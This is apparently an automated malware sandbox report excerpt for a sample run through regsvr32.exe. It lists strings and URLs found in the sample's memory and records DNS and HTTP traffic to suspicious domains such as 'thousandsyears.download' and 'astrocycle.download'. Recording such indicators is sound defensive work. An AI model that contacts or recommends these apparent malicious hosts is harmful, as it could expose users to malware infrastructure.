https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net https://d3ctxlq1ktw2nl.cloudfront.net https://d3h2ozso0dirfl.cloudfront.net https://dgen8gghn3u86.cloudfront.net https://dk261l6wntthl.cloudfront.net https://download.stormacq.com/aws/podcast/ https://dts.podtrac.com https://media.amazonwebservices.com https://mktg-apac.s3-ap-southeast-1.amazonaws.com https://www.buzzsprout.com; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://a0.awsstatic.com https:/
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: util.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net https://d3ctxlq1ktw2nl.cloudfront.net https://d3h2ozso0dirfl.cloudfront.net https://dgen8gghn3u86.cloudfront.net https://dk261l6wntthl.cloudfront.net https://download.stormacq.com/aws/podcast/ https://dts.podtrac.com https://media.amazonwebservices.com https://mktg-apac.s3-ap-southeast-1.amazonaws.com https://www.buzzsprout.com; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://a0.awsstatic.com https:/
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: util.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net https://d3ctxlq1ktw2nl.cloudfront.net https://d3h2ozso0dirfl.cloudfront.net https://dgen8gghn3u86.cloudfront.net https://dk261l6wntthl.cloudfront.net https://download.stormacq.com/aws/podcast/ https://dts.podtrac.com https://media.amazonwebservices.com https://mktg-apac.s3-ap-southeast-1.amazonaws.com https://www.buzzsprout.com; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://a0.awsstatic.com https:/
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: util.com https://a0.awsstatic.com https://a0.p.awsstatic.com https://a1.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://amazonwebservicesinc.tt.omtrdc.net https://api.regional-table.region-services.aws.a2z.com https://api.us-west-2.prod.pricing.aws.a2z.com https://b0.p.awsstatic.com https://c0.b0.p.awsstatic.com https://calculator.aws https://d0.awsstatic.com https://d1.awsstatic.com https://d1fgizr415o1r6.cloudfront.net https://d3borx6sfvnesb.cloudfront.net https://dc.ads.linkedin.com https://dftu77xade0tc.cloudfront.net https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://i18n-string.us-west-2.prod.pricing.aws.a2z.com https://prod.log.shortbread.aws.dev https://prod.tools.shortbread.aws.dev https://s0.awsstatic.com https://s3.amazonaws.com/aws-messaging-pricing-information/ https://s3.amazonaws.com/public-pricing-agc/ https://spot-bid-advisor.s3.amazonaws.com https://view-stage.us-west-2.prod.pricing.aws.a2z.com https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com https://www.youtube-nocookie.com; font-src 'self' data: https://a0.awsstatic.com https://f0.awsstatic.com https://fonts.gstatic.com; frame-src 'self' https://c0.b0.p.awsstatic.com https://calculator.aws https://dpm.demdex.net https://www.youtube-nocookie.com; img-src 'self' data: https://.ads.linkedin.com https://.vidyard.com https://.ytimg.com https://a0.awsstatic.com https://amazonwebservices.d2.sc.omtrdc.net https://aws-quickstart.s3.amazonaws.com https://awsmedia.s3.amazonaws.com https://d1.awsstatic-china.com https://d1.awsstatic.com https://d2908q01vomqb2.cloudfront.net https://d36cz9buwru1tt.cloudfront.net https://docs.aws.amazon.com https://dpm.demdex.net https://fls-na.amazon.com https://googleads.g.doubleclick.net https://img.youtube.com https://marketingplatform.google.com https://media.amazonwebservices.com https://p.adsymptotic.com https://pages.awscloud.com https://s3.amazonaws.com/aws-quickstart/ https://ssl-static.libsyn.com https://static-cdn.jtvnw.net https://www.google.com https://www.linkedin.com https://yt3.ggpht.com; media-src 'self' https://.libsyn.com https://a0.awsstatic.com https://anchor.fm https://awsmedia.s3.amazonaws.com https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com https://chtbl.com https://d1.awsstatic.com https://d1hemuljm71t2j.cloudfront.net https://d1le29qyzha1u4.cloudfront.net https://d1oqpvwii7b6rh.cloudfront.net https://d1vo51ubqkiilx.cloudfront.net https://d1yyh5dhdgifnx.cloudfront.net https://d2908q01vomqb2.cloudfront.net https://d2a6igt6jhaluh.cloudfront.net https://d3ctxlq1ktw2nl.cloudfront.net https://d3h2ozso0dirfl.cloudfront.net https://dgen8gghn3u86.cloudfront.net https://dk261l6wntthl.cloudfront.net https://download.stormacq.com/aws/podcast/ https://dts.podtrac.com https://media.amazonwebservices.com https://mktg-apac.s3-ap-southeast-1.amazonaws.com https://www.buzzsprout.com; script-src 'self' 'unsafe-eval' 'unsafe-inline' https://a0.awsstatic.com https:/
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: thousandsyears.download

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 06 Jul 2021 13:52:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=MR3iY3LZg1WvofIKe63%2BHB%2BFeK1rvlpwTP3v0GDO9hUoDAcUP9e0zMANPwJS1VvTgJ7fmL6V5k8FzaQ4jxhrAnanR1qQqyckYfvqSg68F8GTOip8gzYzA2r2f0dcvjOWHw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 66a9502f0ba94a61-FRAalt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400Data Raw: 31 31 31 0d 0a 09 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 09 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 09 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 09 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 09 3c 68 72 3e 0a 09 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 73 74 72 6f 63 79 63 6c 65 2e 64 6f 77 6e 6c 6f 61 64 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 09 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 111<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at astrocycle.download Port 80</address></body></html>

Source: regsvr32.exe, 00000003.00000002.2102286256.000000000028E000.00000004.00000020.sdmp	String found in binary or memory: http://astrocycle.download/
Source: regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp	String found in binary or memory: http://astrocycle.download/uU
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp	String found in binary or memory: http://crl.roo
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.rootg2.amazontrust.com/rootg2.crl0
Source: regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp	String found in binary or memory: http://crl.sca1b.amazontrus
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.sca1b.amazontrust.com/sca1b.crl0
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crt.rootg2.amazontrust.com/rootg2.cer0=
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://crt.sca1b.amazontrust.com/sca1b.crt0
Source: regsvr32.exe, 00000003.00000002.2103529559.0000000003080000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: regsvr32.exe, 00000003.00000002.2103529559.0000000003080000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: regsvr32.exe, 00000003.00000002.2103898335.0000000003267000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: regsvr32.exe, 00000003.00000002.2103898335.0000000003267000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://o.ss2.us/0
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.rootg2.amazontrust.com08
Source: regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.sca1b
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.sca1b.amazontrust.com06
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://s.ss2.us/r.crl0
Source: regsvr32.exe, 00000003.00000002.2103102978.0000000002C90000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2110503816.0000000002CA0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.2102372904.0000000001CB0000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109696266.0000000001D00000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2118509064.0000000001E50000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000003.00000002.2103898335.0000000003267000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: regsvr32.exe, 00000003.00000002.2103898335.0000000003267000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000003.00000002.2103102978.0000000002C90000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2110503816.0000000002CA0000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000003.00000002.2103529559.0000000003080000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: regsvr32.exe, 00000003.00000002.2103898335.0000000003267000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: regsvr32.exe, 00000003.00000002.2103529559.0000000003080000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000003.00000002.2103529559.0000000003080000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: regsvr32.exe, 00000003.00000003.2099347310.00000000002B6000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: http://x.ss2.us/x.cer0&
Source: regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://112-tzm-766.mktoresp.com
Source: regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://112-tzm-766.mktoutil.com
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/aws-blog/1.0.47/js
Source: regsvr32.exe, 00000003.00000002.2102293424.000000000029D000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/da/js/1.0.47/aws-da.js
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/g11n-lib/2.0.76
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/css/1.0.382
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/css/1.0.382/style-awsm.css
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/gi-map/AWS_Global-Infrastructure-Map.svg
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/logos/aws_logo_smile_1200x630.png
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/logos/aws_logo_smile_179x109.png
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/site/fav/favicon.ico
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/site/touch-icon-ipad-144-smile.png
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-css/images/site/touch-icon-iphone-114-smile.png
